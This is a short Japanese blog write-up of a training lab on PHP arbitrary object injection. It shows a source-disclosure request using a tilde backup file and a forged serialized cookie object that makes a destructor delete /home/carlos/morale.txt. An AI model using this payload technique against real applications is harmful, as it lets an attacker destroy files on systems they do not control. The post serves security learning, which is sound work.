Shikata Ga Nai

Private? There is no such things.

Arbitrary object injection in PHPをやってみた

Hello there, ('ω')ノ

 

PHPでの任意のオブジェクト注入を。

シリアル化ベースのセッションメカニズムを使用していので。

結果として任意のオブジェクトインジェクションに対して脆弱だとか。

まずは、ログインして。

 

f:id:ThisIsOne:20210219123453p:plain

 

ライブラリにあるファイルをリピータへ。

 

f:id:ThisIsOne:20210219123857p:plain

 

Sendしてみると成功のレスポンスが返ってきて。

 

f:id:ThisIsOne:20210219123923p:plain

 

ファイルの後ろにチルダを追加してSendするとソースコードが。

 GET /libs/CustomTemplate.php~

 

どうやらdestruct()が呼び出されるとunlink()メソッドでファイルが削除されるようで。

 

f:id:ThisIsOne:20210219124013p:plain

 

ということで、Cookieをリピータへ。

 

f:id:ThisIsOne:20210219124238p:plain

 

いつものようにデコードして。

O:4:"User":2:{s:8:"username";s:6:"wiener";s:12:"access_token";s:32:"p7oqsy9joez972feq8snhngpg6ultonb";}

 

f:id:ThisIsOne:20210219124335p:plain

 

下記のPHPのソースコードを参考に。

 

<?php

class CustomTemplate {
private $template_file_path;
private $lock_file_path;

 

オブジェクトと文字数を変更して。

さらにオブジェクトの内容も変更してエンコードして。

O:14:"CustomTemplate":1:{s:14:"lock_file_path";s:23:"/home/carlos/morale.txt";}

 

f:id:ThisIsOne:20210219124513p:plain

 

再度、ページをリロードして。

 

f:id:ThisIsOne:20210219132817p:plain

 

インターセプトしたら、Cookieの値を変更して。

 

f:id:ThisIsOne:20210219125153p:plain

 

クリアできた。

 

f:id:ThisIsOne:20210219125214p:plain

 

Best regards, (^^ゞ